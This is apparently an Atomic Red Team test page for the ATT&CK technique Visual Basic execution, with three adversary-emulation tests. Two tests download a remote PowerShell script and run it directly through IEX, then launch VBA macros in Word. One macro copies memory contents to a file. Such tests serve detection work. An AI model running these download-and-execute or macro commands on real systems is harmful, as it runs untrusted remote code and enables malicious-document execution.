T1059.005
Command and Scripting Interpreter: Visual Basic
Description from ATT&CK
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).(Citation: Default VBS macros Blocking )
Atomic Tests
Atomic Test #1 - Visual Basic script execution to gather local computer information
Visual Basic execution test, execute vbscript via PowerShell.
When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
Supported Platforms: windows
auto_generated_guid: 1620de42-160a-4fe5-bbaf-d3fef0181ce9
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| vbscript | Path to sample script | string | PathToAtomicsFolder\T1059.005\src\sys_info.vbs |
Attack Commands: Run with powershell!
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cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt
Cleanup Commands:
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Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore
Dependencies: Run with powershell!
Description: Sample script must exist on disk at specified location (#{vbscript}) Check Prereq Commands:
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if (Test-Path "#{vbscript}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -ItemType Directory (Split-Path "#{vbscript}") -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "#{vbscript}"
Atomic Test #2 - Encoded VBS code execution
This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution a message box will pop up displaying "ART T1059.005"
A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required. You can validate this by opening WinWord -> File -> Account -> About Word
Supported Platforms: windows
auto_generated_guid: e8209d5f-e42d-45e6-9c2f-633ac4f1eefa
Inputs:
None
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"
Cleanup Commands:
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Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"} | % { "$(Stop-Process $_.ProcessID)" } | Out-Null
Dependencies: Run with powershell!
Description: The 64-bit version of Microsoft Office must be installed
Check Prereq Commands:
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try {
$wdApp = New-Object -COMObject "Word.Application"
$path = $wdApp.Path
Stop-Process -Name "winword"
if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
} catch { exit 1 }
Get Prereq Commands:
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Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement"
Atomic Test #3 - Extract Memory via VBA
This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
Supported Platforms: windows
auto_generated_guid: 8faff437-a114-4547-9a60-749652a03df6
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| ms_product | Maldoc application Word | string | Word |
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"
Cleanup Commands:
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Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: Microsoft #{ms_product} must be installed
Check Prereq Commands:
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try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Get Prereq Commands:
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Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"